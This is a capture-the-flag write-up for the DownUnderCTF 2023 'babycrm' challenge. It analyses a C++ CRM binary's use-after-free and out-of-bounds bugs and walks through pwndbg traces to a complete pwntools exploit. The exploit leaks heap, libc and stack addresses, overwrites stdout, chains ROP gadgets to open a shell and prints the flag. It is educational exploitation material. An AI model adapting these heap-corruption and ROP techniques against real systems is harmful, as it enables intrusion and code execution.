# DownUnderCTF 2023: babycrm
### Description:

### Checksec
```sh
checksec baby-crm
[*] '/home/lynklee/CTF/DUCTF/babycrm/baby-crm'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
```
### Source code:
```cpp
#include <vector>
#include <string>
#include <iostream>
#include <unistd.h>
#include <stdio.h>
#define DESCRIPTION_SIZE 0x50
using namespace std;
void fill_buf(char * buf, int len) {
int i = 0;
int c;
for(int i = 0; i<len; i++) {
buf[i] = c = getchar();
if (c == '\n') {
break;
}
}
}
class Order {
public:
Order(): value_(0){};
Order(double value) {
value_ = value;
}
~Order() {
delete description_;
}
void print_order() {
cout << "Value: " << value_ << endl;
cout << "Description: " << endl;
print_description();
}
double value() {
return value_;
}
char * description() {
return description_;
}
void print_description() {
fwrite(description_, DESCRIPTION_SIZE, 1, stdout);
}
void edit_description() {
cout << "New description: ";
if (description_ == nullptr) {
cout << "Description not yet set" << endl;
return;
}
fill_buf(description_, DESCRIPTION_SIZE);
}
void set_description() {
cout << "> ";
char * desc_buf = (char*)malloc(DESCRIPTION_SIZE);
fill_buf(desc_buf, DESCRIPTION_SIZE);
description_ = desc_buf;
}
void help() {
cout << "Use an order to track the value and details \
of a single order. A Customer may hold several orders." << endl;
}
private:
char* description_;
double value_;
};
class Customer {
public:
Customer() {
revenue_ = 0;
orders_ = new vector<Order*>();
}
string name() {
return name_;
}
void set_name(string name) {
name_ = name;
}
void set_description(string description) {
description_ = description;
}
vector<Order*> * orders() {
return orders_;
}
void print() {
cout << "Name: " << name_ << endl;
cout << "Description: " << description_ << endl;
cout << "Orders: " << endl;
for (auto o : *orders_) {
o->print_order();
}
}
void help() {
cout << "Use Customer to track a single customer, including their name\
, description, and their current open orders." << endl;
}
private:
string name_;
float revenue_;
string description_;
vector<Order*> * orders_;
};
vector<Customer*> customers;
void help() {
Order o;
Customer c;
size_t option;
cout << "1. Order Help" << endl;
cout << "2. Customer Help" << endl;
cout << "> ";
cin >> option;
switch (option) {
case 1:
o.help();
break;
case 2:
c.help();
break;
}
}
int menu(){
char buf[0x100];
cout << "1. New Customer" << endl;
cout << "2. Alter Customer" << endl;
cout << "3. Show Customer" << endl;
cout << "4. Help" << endl;
cout << "> ";
int choice;
scanf("%d", &choice);
return choice;
}
void new_customer() {
Customer * customer = new Customer();
cout << "Customer name: ";
string name;
cin >> name;
customer->set_name(name);
customers.push_back(customer);
}
Order * new_order() {
cout << "Order value: ";
float value;
cin >> value;
Order * order = new Order(value);
order->set_description();
return order;
}
void alter_customer(){
char buf [0x10];
size_t choice;
size_t option;
cout << "Customer to alter: ";
cin >> choice;
if (choice >= customers.size()) {
cout << "No such customer" << endl;
return;
}
Customer * customer = customers[choice];
cout << "1. Change name" << endl;
cout << "2. Change description" << endl;
cout << "3. Add Order" << endl;
cout << "4. Edit Order" << endl;
cout << "5. Mark Order complete" << endl;
cout << "> ";
cin >> option;
switch(option) {
case 1: {
cout << "New name: ";
string name;
cin >> name;
customer->set_name(name);
break;
}
case 2: {
cout << "New description: ";
string description;
cin >> description;
customer->set_description(description);
break;
}
case 3: {
Order * order = new_order();
customer->orders()->push_back(order);
break;
}
case 4: {
cout << "Order to edit: ";
size_t idx;
cin >> idx;
getchar();
if (idx >= customer->orders()->size()){
cout << "No such order" << endl;
return;
}
Order * order = customer->orders()->at(idx);
order->edit_description();
break;
}
default:
cout << "No such option" << endl;
}
}
void show_customer() {
Customer * customer;
size_t choice;
cout << "Customer to show: " << endl;
cin >> choice;
customer = customers[choice];
customer->print();
}
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main()
{
init();
int option;
while (true) {
option = menu();
switch(option) {
case 1:
new_customer();
break;
case 2:
alter_customer();
break;
case 3:
show_customer();
break;
case 4:
help();
break;
default:
goto exit;
}
}
exit:
return 0;
}
```
It looks like a CRM process, with customers and their orders.
4 options:
- `new_customer` adds a new customer
- `alter_customer` changes a customer's information, description, orders.
- `show_customer` prints information about customers based on index
- `help` prints instructons of customers and orders.
### Finding the vulnerability
There are two bugs in this code:
```cpp
void show_customer() {
Customer * customer;
size_t choice;
cout << "Customer to show: " << endl;
cin >> choice;
customer = customers[choice];
customer->print();
}
```
There are no check on `choice` → `OOB`
```cpp
void help() {
Order o;
Customer c;
size_t option;
cout << "1. Order Help" << endl;
cout << "2. Customer Help" << endl;
cout << "> ";
cin >> option;
switch (option) {
case 1:
o.help();
break;
case 2:
c.help();
break;
}
}
```
Here the `o` with type `Order` and `c` with type `Customer` are local variables and stored on stack. At the end of the function, it will call `~Order()` or `~Customer()`, which will delete the pointer if `[rbp - 8]` is not `NULL`.
```sh
───────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────
0x55555555704c <Order::~Order()+20> mov rax, qword ptr [rax]
0x55555555704f <Order::~Order()+23> test rax, rax
0x555555557052 <Order::~Order()+26> je Order::~Order()+41 <Order::~Order()+41>
0x555555557054 <Order::~Order()+28> mov esi, 1
0x555555557059 <Order::~Order()+33> mov rdi, rax
► 0x55555555705c <Order::~Order()+36> call operator delete(void*, unsigned long)@plt <operator delete(void*, unsigned long)@plt>
rdi: 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1
rsi: 0x1
rdx: 0x7ffff7e23370 (vtable for std::ostream+24) —▸ 0x7ffff7d3b5f0 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64
rcx: 0xc00
0x555555557061 <Order::~Order()+41> nop
0x555555557062 <Order::~Order()+42> leave
0x555555557063 <Order::~Order()+43> ret
0x555555557064 <Order::print_order()> endbr64
0x555555557068 <Order::print_order()+4> push rbp
────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000│ rsp 0x7fffffffde70 ◂— 0x0
01:0008│ 0x7fffffffde78 —▸ 0x7fffffffdea0 —▸ 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1
02:0010│ rbp 0x7fffffffde80 —▸ 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1
03:0018│ 0x7fffffffde88 —▸ 0x5555555565e5 (help()+263) ◂— mov rax, qword ptr [rbp - 0x18]
04:0020│ 0x7fffffffde90 —▸ 0x7fffffffdeb8 ◂— 0x0
05:0028│ 0x7fffffffde98 ◂— 0x1
06:0030│ 0x7fffffffdea0 —▸ 0x7fffffffdf20 —▸ 0x7fffffffdf40 ◂— 0x1
07:0038│ 0x7fffffffdea8 ◂— 0x0
──────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
► f 0 0x55555555705c Order::~Order()+36
f 1 0x5555555565e5 help()+263
f 2 0x555555556f37 main+89
f 3 0x7ffff7829d90 __libc_start_call_main+128
f 4 0x7ffff7829e40 __libc_start_main_impl+128
f 5 0x5555555563c5 _start+37
──────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
```
If we can use this hole to put a valid chunk into `[rbp - 8]`, it can cause a `use-after-free` bug.
I didn't figure how to take advantage of `OOB` bug for exploitation, if you know, feel free to DM me and let me know. I will focus on `use-after-free` solely to get a shell.
```py
from pwn import *
e = context.binary = ELF('./baby-crm')
libc = ELF('./libc.so.6')
#r = e.process()
r = remote('2023.ductf.dev', 30014)
def choice(c: int):
r.recv()
r.sendline(str(c).encode())
def new(name: bytes):
choice(1)
r.recv()
r.sendline(name)
def alter(idx: int):
choice(2)
r.recv()
r.sendline(str(idx).encode())
def change_name(idx: int, name: bytes):
alter(idx)
choice(1)
r.recv()
r.sendline(name)
def change_description(idx: int, description: bytes):
alter(idx)
choice(2)
r.recv()
r.sendline(description)
def add_order(idx: int, value: float):
alter(idx)
choice(3)
r.recv()
r.sendline(str(value).encode())
def edit_order(idx: int, idx_order: int, description: bytes):
alter(idx)
choice(4)
r.recv()
r.sendline(str(idx_order).encode())
r.recv()
r.sendline(description)
def complete(idx: int):
alter(idx)
choice(5)
def show(idx: int):
choice(3)
r.recv()
r.sendline(str(idx).encode())
def help_(mode: int):
choice(4)
r.recv()
r.sendline(str(mode).encode())
gs = """
b*_ZN5Order11print_orderEv+133
b*main+93
"""
#gdb.attach(r, gs)
for i in range(9):
new(f'Lynk{i}'.encode())
for i in range(9):
change_name(i, chr(0x41 + i).encode() * 0x10)
for i in range(9):
change_description(i, chr(0x41 + i).encode() * 0x20)
for i in range(9):
change_description(i, chr(0x41 + i).encode() * 0x30)
add_order(0, 1200)
help_(2)
```
```sh
RAX 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA'
RBX 0x0
RCX 0xc00
RDX 0x7f588a623370 (vtable for std::ostream+24) —▸ 0x7f588a53b5f0 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64
*RDI 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA'
RSI 0x1
R8 0x6a
R9 0x55f9ea2371d0 (std::cin@GLIBCXX_3.4+16) —▸ 0x7f588a6228f8 (vtable for std::istream+64) —▸ 0x7f588a5200d0 (virtual thunk to std::basic_istream<char, std::char_traits<char> >::~basic_istream()) ◂— endbr64
R10 0x7f588a1beac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x246
R12 0x7ffff6f9a668 —▸ 0x7ffff6f9c3cb ◂— '/home/lynklee/CTF/DUCTF/babycrm/baby-crm'
R13 0x55f9ea231ede (main) ◂— endbr64
R14 0x55f9ea236cc0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x55f9ea231440 (__do_global_dtors_aux) ◂— endbr64
R15 0x7f588a7a8040 (_rtld_global) —▸ 0x7f588a7a92e0 —▸ 0x55f9ea22f000 ◂— 0x10102464c457f
RBP 0x7ffff6f9a490 —▸ 0x7ffff6f9a530 —▸ 0x7ffff6f9a550 ◂— 0x1
RSP 0x7ffff6f9a480 ◂— 0x0
*RIP 0x55f9ea23205c (Order::~Order()+36) ◂— call 0x55f9ea2312b0
──────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────
0x55f9ea23204c <Order::~Order()+20> mov rax, qword ptr [rax]
0x55f9ea23204f <Order::~Order()+23> test rax, rax
0x55f9ea232052 <Order::~Order()+26> je Order::~Order()+41 <Order::~Order()+41>
0x55f9ea232054 <Order::~Order()+28> mov esi, 1
0x55f9ea232059 <Order::~Order()+33> mov rdi, rax
► 0x55f9ea23205c <Order::~Order()+36> call operator delete(void*, unsigned long)@plt <operator delete(void*, unsigned long)@plt>
rdi: 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA'
rsi: 0x1
rdx: 0x7f588a623370 (vtable for std::ostream+24) —▸ 0x7f588a53b5f0 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64
rcx: 0xc00
0x55f9ea232061 <Order::~Order()+41> nop
0x55f9ea232062 <Order::~Order()+42> leave
0x55f9ea232063 <Order::~Order()+43> ret
0x55f9ea232064 <Order::print_order()> endbr64
0x55f9ea232068 <Order::print_order()+4> push rbp
───────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffff6f9a480 ◂— 0x0
01:0008│ 0x7ffff6f9a488 —▸ 0x7ffff6f9a4b0 —▸ 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA'
02:0010│ rbp 0x7ffff6f9a490 —▸ 0x7ffff6f9a530 —▸ 0x7ffff6f9a550 ◂— 0x1
03:0018│ 0x7ffff6f9a498 —▸ 0x55f9ea2315e5 (help()+263) ◂— mov rax, qword ptr [rbp - 0x18]
04:0020│ 0x7ffff6f9a4a0 ◂— 0x3
05:0028│ 0x7ffff6f9a4a8 ◂— 0x2
06:0030│ 0x7ffff6f9a4b0 —▸ 0x55f9ea4a2eb0 —▸ 0x55f9ea4a3460 ◂— 'AAAAAAAAAAAAAAAA'
07:0038│ 0x7ffff6f9a4b8 ◂— 0x0
─────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 0x55f9ea23205c Order::~Order()+36
f 1 0x55f9ea2315e5 help()+263
f 2 0x55f9ea231f37 main+89
f 3 0x7f588a029d90 __libc_start_call_main+128
f 4 0x7f588a029e40 __libc_start_main_impl+128
f 5 0x55f9ea2313c5 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
```
Here we can free the `customer[0]` due to its pointer remain at `[rbp - 8]` after adding an order.
Allocate another order in order to create a `vector` chunk, which could use for leaking heap base and libc base by option `show`.
```py
from pwn import *
e = context.binary = ELF('./baby-crm')
libc = ELF('./libc.so.6')
r = e.process()
#r = remote('2023.ductf.dev', 30014)
def choice(c: int):
r.recv()
r.sendline(str(c).encode())
def new(name: bytes):
choice(1)
r.recv()
r.sendline(name)
def alter(idx: int):
choice(2)
r.recv()
r.sendline(str(idx).encode())
def change_name(idx: int, name: bytes):
alter(idx)
choice(1)
r.recv()
r.sendline(name)
def change_description(idx: int, description: bytes):
alter(idx)
choice(2)
r.recv()
r.sendline(description)
def add_order(idx: int, value: float):
alter(idx)
choice(3)
r.recv()
r.sendline(str(value).encode())
def edit_order(idx: int, idx_order: int, description: bytes):
alter(idx)
choice(4)
r.recv()
r.sendline(str(idx_order).encode())
r.recv()
r.sendline(description)
def complete(idx: int):
alter(idx)
choice(5)
def show(idx: int):
choice(3)
r.recv()
r.sendline(str(idx).encode())
def help_(mode: int):
choice(4)
r.recv()
r.sendline(str(mode).encode())
gs = """
b*_ZN5Order11print_orderEv+133
b*main+93
b*_Z9new_orderv
"""
gdb.attach(r, gs)
for i in range(9):
new(f'Lynk{i}'.encode())
for i in range(9):
change_name(i, chr(0x41 + i).encode() * 0x10)
for i in range(9):
change_description(i, chr(0x41 + i).encode() * 0x20)
for i in range(9):
change_description(i, chr(0x41 + i).encode() * 0x30)
add_order(0, 1200)
help_(2)
pause()
add_order(0, 1200)
show(0)
r.recvuntil(b'Value: 1200')
r.recvuntil(b'Description')
r.recvuntil(b'Description: \n')
leak = r.recv(56)
heap = u64(leak[40:48]) - 0x12800
log.info(f'Heap: {hex(heap)}')
new(b'F' * 1050)
add_order(9, 2000)
help_(2)
add_order(9, 2100)
#pause()
show(9)
r.recvuntil(b'Value: 2000')
r.recvuntil(b'Description: \n')
s = r.recv(32)
libc.address = u64(s[8:16]) - libc.sym['main_arena'] - 192
log.info(f'Libc: {hex(libc.address)}')
```
### Where to overwrite and get shell?
Problems here when it's not linear to put an arbitrary address into `tcache`. Because `cpp` has done a lot of things with heap that is far away my from my observation. So I need to debug and dig deeper for a while and I recognize an invaluable piece of code.
```c++
void set_name(string name) {
name_ = name;
}
void set_description(string description) {
description_ = description;
}
```
And also take a closer look at the `private` attribute of class `Customer`
```cpp
private:
string name_;
float revenue_;
string description_;
vector<Order*> * orders_;
```
A `Customer` chunk is a `0x60-size` chunk. After causing a `use-after-free`, my approach would be to use `change_name` in a different chunk in order to reuse the freed chunk and input an arbitrary address. See the figure below to clearly understand.
```sh
pwndbg> tel &customers 0
00:0000│ 0x55cb708512e0 (customers) —▸ 0x55cb717d73b0 —▸ 0x55cb717d6eb0 ◂— 0x55cb7170a
pwndbg> tel 0x55cb717d73b0 40
00:0000│ 0x55cb717d73b0 —▸ 0x55cb717d6eb0 ◂— 0x55cb7170a
01:0008│ 0x55cb717d73b8 —▸ 0x55cb717d6f50 —▸ 0x55cb717d7490 ◂— 'BBBBBBBBBBBBBBBB'
02:0010│ 0x55cb717d73c0 —▸ 0x55cb717d6ff0 —▸ 0x55cb717d74c0 ◂— 'CCCCCCCCCCCCCCCC'
03:0018│ 0x55cb717d73c8 —▸ 0x55cb717d7080 —▸ 0x55cb717d74f0 ◂— 'DDDDDDDDDDDDDDDD'
04:0020│ 0x55cb717d73d0 —▸ 0x55cb717d70e0 —▸ 0x55cb717d7520 ◂— 'EEEEEEEEEEEEEEEE'
05:0028│ 0x55cb717d73d8 —▸ 0x55cb717d71b0 —▸ 0x55cb717d7550 ◂— 'FFFFFFFFFFFFFFFF'
06:0030│ 0x55cb717d73e0 —▸ 0x55cb717d7230 —▸ 0x55cb717d7580 ◂— 'GGGGGGGGGGGGGGGG'
07:0038│ 0x55cb717d73e8 —▸ 0x55cb717d72b0 —▸ 0x55cb717d75b0 ◂— 'HHHHHHHHHHHHHHHH'
08:0040│ 0x55cb717d73f0 —▸ 0x55cb717d7330 —▸ 0x55cb717d75e0 ◂— 'IIIIIIIIIIIIIIII'
09:0048│ 0x55cb717d73f8 —▸ 0x55cb717d7bb0 —▸ 0x7fb0b9c1a780 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0050│ 0x55cb717d7400 ◂— 0x0
... ↓ 6 skipped
11:0088│ 0x55cb717d7438 ◂— 0x21 /* '!' */
12:0090│ 0x55cb717d7440 —▸ 0x55cb717d7ad0 ◂— 0xa /* '\n' */
13:0098│ 0x55cb717d7448 ◂— 0x4092c00000000000
14:00a0│ 0x55cb717d7450 ◂— 0x0
15:00a8│ 0x55cb717d7458 ◂— 0x31 /* '1' */
16:00b0│ 0x55cb717d7460 ◂— 'AAAAAAAAAAAAAAAA'
17:00b8│ 0x55cb717d7468 ◂— 'AAAAAAAA'
18:00c0│ 0x55cb717d7470 ◂— 0x0
... ↓ 2 skipped
1b:00d8│ 0x55cb717d7488 ◂— 0x31 /* '1' */
1c:00e0│ 0x55cb717d7490 ◂— 'BBBBBBBBBBBBBBBB'
1d:00e8│ 0x55cb717d7498 ◂— 'BBBBBBBB'
1e:00f0│ 0x55cb717d74a0 ◂— 0x0
... ↓ 2 skipped
21:0108│ 0x55cb717d74b8 ◂— 0x31 /* '1' */
22:0110│ 0x55cb717d74c0 ◂— 'CCCCCCCCCCCCCCCC'
23:0118│ 0x55cb717d74c8 ◂— 'CCCCCCCC'
24:0120│ 0x55cb717d74d0 ◂— 0x0
... ↓ 2 skipped
27:0138│ 0x55cb717d74e8 ◂— 0x31 /* '1' */
pwndbg> x/12gx 0x55cb717d7bb0
0x55cb717d7bb0: 0x00007fb0b9c1a780 0x00007fb0b9c1a780
0x55cb717d7bc0: 0x00007fb0b9c1a780 0x00007fb0b9c1a780
0x55cb717d7bd0: 0x00007fb0b9c1a780 0x00007fb0b9c1a780
0x55cb717d7be0: 0x00007fb0b9c1a780 0x00007fb0b9c1a780
0x55cb717d7bf0: 0x00007fb0b9c1a780 0x00007fb0b9c1a780
0x55cb717d7c00: 0x0000000000000000 0x0000000000000091
```
As `customers` is a global variable, it will hold different pointers to each `Customer` chunk.
`0x55cb717d7bb0` is the address of the 9th `Customer`, and as the private attributes of class `Customer` contains `string name` and `string description`, which is now `_IO_2_1_stdout_`, we can choose to overwrite `_IO_2_1_stdout_` to leak stack.
```
fp->flags = 0xfbad1800
fp->_IO_write_base = environ
fp->_IO_write_base = environ + 8
```
By modifying stdout like this, you can get stack address.
Use the similar method to achieve arbitrary write again by writing to `saved rip` and input an invalid option, which will return to our ROPchain.
### Final script:
```py
from pwn import *
e = context.binary = ELF('./baby-crm')
libc = ELF('./libc.so.6')
#r = e.process()
r = remote('2023.ductf.dev', 30014)
def choice(c: int):
r.recv()
r.sendline(str(c).encode())
def new(name: bytes):
choice(1)
r.recv()
r.sendline(name)
def alter(idx: int):
choice(2)
r.recv()
r.sendline(str(idx).encode())
def change_name(idx: int, name: bytes):
alter(idx)
choice(1)
r.recv()
r.sendline(name)
def change_description(idx: int, description: bytes):
alter(idx)
choice(2)
r.recv()
r.sendline(description)
def add_order(idx: int, value: float):
alter(idx)
choice(3)
r.recv()
r.sendline(str(value).encode())
def edit_order(idx: int, idx_order: int, description: bytes):
alter(idx)
choice(4)
r.recv()
r.sendline(str(idx_order).encode())
r.recv()
r.sendline(description)
def complete(idx: int):
alter(idx)
choice(5)
def show(idx: int):
choice(3)
r.recv()
r.sendline(str(idx).encode())
def help_(mode: int):
choice(4)
r.recv()
r.sendline(str(mode).encode())
gs = """
b*_ZN5Order11print_orderEv+133
b*main+93
b*_Z9new_orderv
b*_Z14alter_customerv+745
"""
#gdb.attach(r, gs)
for i in range(9):
new(f'Lynk{i}'.encode())
for i in range(9):
change_name(i, chr(0x41 + i).encode() * 0x10)
for i in range(9):
change_description(i, chr(0x41 + i).encode() * 0x20)
for i in range(9):
change_description(i, chr(0x41 + i).encode() * 0x30)
add_order(0, 1200)
help_(2)
add_order(0, 1200)
show(0)
r.recvuntil(b'Value: 1200')
r.recvuntil(b'Description')
r.recvuntil(b'Description: \n')
leak = r.recv(56)
heap = u64(leak[40:48]) - 0x12800
log.info(f'Heap: {hex(heap)}')
new(b'F' * 1050)
add_order(9, 2000)
help_(2)
add_order(9, 2100)
show(9)
r.recvuntil(b'Value: 2000')
r.recvuntil(b'Description: \n')
s = r.recv(32)
libc.address = u64(s[8:16]) - libc.sym['main_arena'] - 192
log.info(f'Libc: {hex(libc.address)}')
pop_rdi = 0x000000000002a3e5 + libc.address
bin_sh = next(libc.search(b'/bin/sh\0'))
ret = pop_rdi + 1
system = libc.sym['system']
pop_rsi = libc.address + 0x000000000002be51
one_gadget = libc.address + 0xebcf8
add_order(9, 2200)
help_(2)
stdout = libc.sym['_IO_2_1_stdout_']
pause()
change_name(8, p64(stdout) * 10)
help_(2)
#pause()
change_description(9, p64(0xfbad1800) + p64(0) * 3 + p64(libc.sym['environ']) + p64(libc.sym['environ'] + 16))
stack = u64(r.recvuntil(b'\x7f')[-6:] + b'\0' * 2) - 0x128
log.info(f'Stack: {hex(stack)}')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'6')
r.recv()
r.sendline(b'4')
r.recv()
r.sendline(b'9')
help_(6)
payload = p64(stack)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(one_gadget)
change_name(5, p64(stack) * 10)
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(b'6')
r.recv()
r.sendline(b'2')
r.recv()
r.sendline(payload)
r.recv()
r.sendline(b'5')
r.interactive()
```
```sh
python3 x.py ─╯
[*] '/home/lynklee/CTF/DUCTF/babycrm/baby-crm'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[*] '/home/lynklee/CTF/DUCTF/babycrm/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 2023.ductf.dev on port 30014: Done
[*] Heap: 0x5b1dd134a000
[*] Libc: 0x79bfb6c6d000
[*] Paused (press any to continue)
[*] Stack: 0x7ffea66c7910
[*] Switching to interactive mode
$ id
uid=1000 gid=1000 groups=1000
$ ls
flag.txt
pwn
$ cat flag.txt
DUCTF{0u7_0f_5c0p3_0u7_0f_m1nd}$
```